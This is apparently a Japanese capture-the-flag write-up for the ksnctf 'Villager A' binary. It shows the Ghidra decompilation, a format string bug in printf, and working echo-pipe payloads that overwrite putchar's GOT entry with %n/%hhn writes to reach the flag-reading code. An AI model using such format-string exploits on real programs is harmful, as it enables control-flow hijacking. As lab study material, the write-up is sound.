ksnctf – Villager A

ghidra でリバースエンジしてみる。

  puts("What\'s your name?");
  fgets(local_418,0x400,stdin);
  printf("Hi, ");
  printf(local_418);
  putchar(10);
  local_18 = 1;
  while( true ) {
    if (local_18 == 0) {
      local_14 = fopen("flag.txt","r");

local_18 に 1 が代入されてるがここが 0 にならないとフラグを取れない。

何とか fopen のところに飛ばさないと行けないことがわかる。バッファオーバーフローは出来なそう。

fgets で標準入力を local_418 に渡し、それを printf で出力していることがわかる。この箇所で書式文字列攻撃ができる。

putchar の got.plt のアドレス (0x080499e0) に書かれたアドレスを、fopen の始まる 0x08048691 に書き換える。

まず標準入力で ABCD_%p_%p_%p_%p_%p_%p_%p_%p と適当に入力すると 6 個目の %p に 0x44434241 (リトルエンディアンで ABCD) の並びが見える。

なので 書き込み先のアドレスを先頭に書き、必要な文字数で埋めて 6$n で書き込むのだ。0x08048691 を 10 進数にすると 134514321 だが、\xe0\x99\x04\x08 が 4 文字分なので 4 を引く。

echo -e "\xe0\x99\x04\x08%134514317c%6\$n" | ./q4

これだと結構時間がかかる (134514317 個分のスペースを出力する) ので省エネバージョン。

32 bit プログラムでありアドレス幅は 4 bytes であることに注意し、

0x91 = 145 ⇒ 145 – 16 = 129
0x86 = 134 ⇒ 134 – 145 + 256 = 245
0x04 = 4 ⇒ 4 – 134 + 256 = 126
0x08 = 8 ⇒ 8 – 4 = 4

echo -e "\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6\$hhn%245c%7\$hhn%126c%8\$hhn%4c%9\$hhn" | ./q4

なお、putchar ではなく put (got.plt = 0x80499f4) でも行ける模様。